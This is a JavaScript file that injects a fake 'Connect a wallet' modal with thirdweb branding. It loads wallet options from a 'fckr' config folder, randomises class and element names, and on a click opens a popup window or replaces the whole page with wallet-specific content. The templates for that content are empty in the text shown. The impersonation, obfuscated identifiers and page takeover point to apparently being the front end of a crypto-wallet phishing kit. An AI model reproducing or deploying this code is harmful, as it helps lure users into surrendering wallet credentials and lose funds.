var domain = '/';
const currentDomain = window.location.hostname;
var xhr = new XMLHttpRequest();
xhr.open('GET', '/fckr/configs.json', true);
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
var find = JSON.parse(xhr.responseText);
var connWalletId = 'c' + Math.random().toString(36).substring(9);
var connModalWindow = 'm' + Math.random().toString(36).substring(9);
var connModalWindowContent = 'w' + Math.random().toString(36).substring(9);
var bxml = 'x' + Math.random().toString(36).substring(9);
var mvId = 'i' + Math.random().toString(36).substring(9);
var wnd = 'n' + Math.random().toString(36).substring(9);
var connectWalletSection = document.createElement('section');
connectWalletSection.id = connWalletId;
connectWalletSection.style.display = 'none';
var div = document.createElement('div');
var modalWindowDiv = document.createElement('div');
modalWindowDiv.className = connModalWindow;
modalWindowDiv.id = mvId;
modalWindowDiv.style.display = 'block';
var modalWindowContentDiv = document.createElement('div');
modalWindowContentDiv.className = connModalWindowContent;
modalWindowContentDiv.id = wnd;
modalWindowContentDiv.style.overflow = 'hidden';
modalWindowContentDiv.style.width = '400px';
modalWindowContentDiv.style.height = '732px';
modalWindowContentDiv.style.top = '-1px';
modalWindowContentDiv.style.right = '10%';
var bxMlInboxDiv = document.createElement('div');
bxMlInboxDiv.className = bxml;
function setThemeBasedOnBrowserPreference() {
const isDarkTheme = window.matchMedia('(prefers-color-scheme: dark)').matches;
const htmlElement = document.documentElement;
if (isDarkTheme) {
htmlElement.setAttribute('data-fckr-theme', 'dark');
} else {
htmlElement.setAttribute('data-fckr-theme', 'light');
}
}
setThemeBasedOnBrowserPreference();
const scrt = Array.from({ length: 100 }, () => 'fc' + Math.random().toString(36).substring(5) + 'kr');
var modalHtml = `
Your gateway to the decentralized world
Connect a wallet to get started
×
`;
document.body.insertAdjacentHTML('beforeend', modalHtml);
var walList = document.getElementById(scrt[15]);
Object.keys(find).forEach(function (key) {
var button = document.createElement('button');
button.className = `${scrt[6]} ${scrt[1]}`;
button.setAttribute('data-wallet', key);
var img = document.createElement('img');
img.className = `${scrt[18]} ${scrt[1]}`;
img.src = domain + 'fckr/icons/' + find[key].img;
img.setAttribute('data-wallet', key);
button.appendChild(img);
var div = document.createElement('div');
div.className = `${scrt[4]} ${scrt[1]}`;
div.textContent = find[key].name;
div.setAttribute('data-wallet', key);
button.appendChild(div);
walList.appendChild(button);
});
const searchInput = document.querySelector(`.${scrt[16]}`);
const modalBlocks = document.querySelectorAll(`.${scrt[6]}`);
if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) {
document.querySelector(`.${scrt[12]}`).src = './img/thirdweb-logo-light.svg';
} else {
document.querySelector(`.${scrt[12]}`).src = './img/thirdweb-logo.svg';
}
document.addEventListener('click', function (event) {
if (event.target.classList.contains(scrt[1])) {
document.getElementById(scrt[2]).style.display = 'none';
document.body.style.overflow = 'auto';
}
});
const noResults = document.querySelector(`.${scrt[17]}`);
searchInput.addEventListener('input', function () {
const searchText = this.value.toLowerCase();
let hasResults = false;
modalBlocks.forEach(function (block) {
const text = block.querySelector(`.${scrt[4]}`).textContent.toLowerCase();
if (text.includes(searchText)) {
block.style.display = 'flex';
hasResults = true;
} else {
block.style.display = 'none';
}
});
if (hasResults) {
noResults.style.display = 'none';
} else {
noResults.style.display = 'inline';
}
});
modalWindowContentDiv.appendChild(bxMlInboxDiv);
modalWindowDiv.appendChild(modalWindowContentDiv);
div.appendChild(modalWindowDiv);
connectWalletSection.appendChild(div);
var style = document.createElement('style');
style.textContent = `.${scrt[4]}{font-family:system-ui,sans-serif}.${scrt[5]},.${scrt[6]}{transition:.15s;cursor:pointer}.${connModalWindow}{position:fixed;z-index:99999;top:0;right:0;bottom:0;left:0}.${connModalWindow} [style='display: block;']{opacity:1;visibility:visible}.${connModalWindow} [style='display: none;']{display:block!important;opacity:0;visibility:hidden}.${connModalWindow} [style='display: block;'] .${connModalWindowContent}{opacity:1;visibility:visible;transform:scale(1);margin-top:0}.${connModalWindowContent}{position:absolute;z-index:99999}:root{--modal-background-color:#fff;--modal-right-title:#000;--modal-right-subtitle:#888;--modal-link-hover-color:#000;--modal-footer-color:#706f78;--modal-left-block:#706f78;--modal-left-block-hover:#f3f3f3;--modal-border-color:#dfdfdf}[data-fckr-theme="dark"]{--modal-background-color:#131418;--modal-left-block-hover:#191b21;--modal-border-color:#262830;--modal-right-title:#e4edef;--modal-right-subtitle:#7e7d86;--modal-link-hover-color:#fff;--modal-footer-color:#7e7d86;--modal-left-block:#ededef}::selection{background-color:var(--modal-link-hover-color);color:var(--modal-background-color)}.${scrt[0]}{z-index:9999;position:fixed;top:0;left:0;width:100%;height:100%;background-color:rgba(0,0,0,.5);backdrop-filter:blur(5px);justify-content:center;align-items:center;display:none}.${scrt[7]}{background-color:var(--modal-background-color);max-width:730px;height:570px;border:1px solid var(--modal-border-color);display:flex;position:relative;border-radius:20px;width:100%}.${scrt[6]},.${scrt[16]}{background-color:transparent;outline:0}.${scrt[8]}{width:260px;border-right:1px solid var(--modal-border-color);display:flex;flex-direction:column;justify-content:center;align-items:center}.${scrt[6]}{width:100%;height:64px;display:flex;align-items:center;border:none;border-radius:5px;gap:15px;padding:8px}.${scrt[6]}:hover{background-color:var(--modal-left-block-hover);transform:scale(1.015)}.${scrt[18]}{width:48px;height:48px;object-fit:cover;border-radius:5px}.${scrt[4]}{text-align:left;font-weight:600;font-size:16px;color:var(--modal-left-block)}.modal-left-small-text{margin-top:8px;color:var(--modal-right-subtitle)}.${scrt[9]}{width:428px;padding:16px;display:flex;flex-direction:column;align-items:center;justify-content:center}.${scrt[20]}{max-width:150px;width:100%;height:auto;object-fit:cover;filter:drop-shadow(5px 5px 10px #1166e6);animation:2s ease-in-out infinite alternate moveUpDown;margin-bottom:30px}.${scrt[14]},.${scrt[19]}{height:100%;display:flex;width:100%}.${scrt[21]}{margin-top:16px;font-weight:600;color:var(--modal-right-title);margin-bottom:10px}.${scrt[22]}{margin-top:8px;color:var(--modal-right-subtitle);margin-bottom:10px}.${scrt[19]}{flex-direction:column;align-items:center;justify-content:center;margin-bottom:35px}.modal-footer{margin-top:16px;text-align:center;color:#888;padding:10px}.${scrt[5]}{position:absolute;top:15px;right:25px;font-size:33px;color:#706f78;font-weight:400}.${scrt[5]}:hover{color:var(--modal-link-hover-color)}.modal-footer__text{color:#706f78;font-weight:600;font-size:14px}.${scrt[8]}{display:flex;flex-direction:column;padding:14px 16px 16px 24px}.${scrt[10]}{display:flex;align-items:center;gap:5px;width:100%}.${scrt[11]}{color:#fff}.${scrt[12]}{color:var(--modal-right-title);fill:var(--modal-right-title);}.${scrt[13]}{color:var(--modal-right-title);font-size:20px;font-weight:600}.${scrt[17]},.${scrt[16]}{color:var(--modal-footer-color)}.${scrt[14]}{margin-top:10px;overflow-y:auto;overflow-x:hidden;flex-direction:column;gap:5px}.${scrt[16]}{padding:10px;border:1px solid var(--modal-border-color);border-radius:5px;font-weight:600;font-family:system-ui,-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,Cantarell,'Open Sans','Helvetica Neue',sans-serif}.${scrt[17]}{margin-top:10px;text-align:center;font-size:14px;display:none}@keyframes moveUpDown{0%{transform:translateY(0)}100%{transform:translateY(-10px)}}@media (max-width:700px){.${scrt[9]}{display:none}.${scrt[8]}{border:none;max-width:600px;width:100%}.${scrt[5]}{right:15px}}.${scrt[14]}::-webkit-scrollbar{width:8px}.${scrt[14]}::-webkit-scrollbar-track{background:0 0}.${scrt[14]}::-webkit-scrollbar-thumb{cursor:pointer;background:#ffffff14;border-radius:30px}`;
document.head.appendChild(style);
document.body.appendChild(connectWalletSection);
document.addEventListener('click', function (event) {
var connectWalletElement = document.getElementById(connWalletId);
if (connectWalletElement.style.display == 'block') {
connectWalletElement.style.display = 'none';
}
});
document.addEventListener('click', function (event) {
var walletTarget = event.target.closest ? event.target.closest('[data-wallet]') : null;
if (walletTarget) {
var wallet = walletTarget.getAttribute('data-wallet');
if (wallet == 'modal') {
document.getElementById(scrt[2]).style.display = 'flex';
document.body.style.overflow = 'hidden';
return;
}
var config = find[wallet];
if (!config) {
console.log('Ключ', wallet, 'отсутствует в конфигурации.');
console.log('Key', wallet, 'is missing from the configuration.');
return;
}
if (config.onlyPage || window.innerWidth < 700) {
loadPage(config);
} else {
loadWindow(config);
}
}
});
function loadWindow(config) {
const protocol = window.location.protocol;
const hostname = window.location.hostname;
const fullUrl = `${protocol}//${hostname}`;
document.getElementById(connWalletId).style.display = 'block';
var wind = document.getElementById(wnd);
wind.style.width = config.width + 'px';
wind.style.height = config.height + 'px';
document.querySelector('.' + bxml).innerHTML = ``;
}
function loadPage(config) {
const protocol = window.location.protocol;
const hostname = window.location.hostname;
const fullUrl = `${protocol}//${hostname}`;
document.body.innerHTML = ``;
}
} else {
console.error('Error #1!!! Contact Support!');
}
}
};
xhr.send();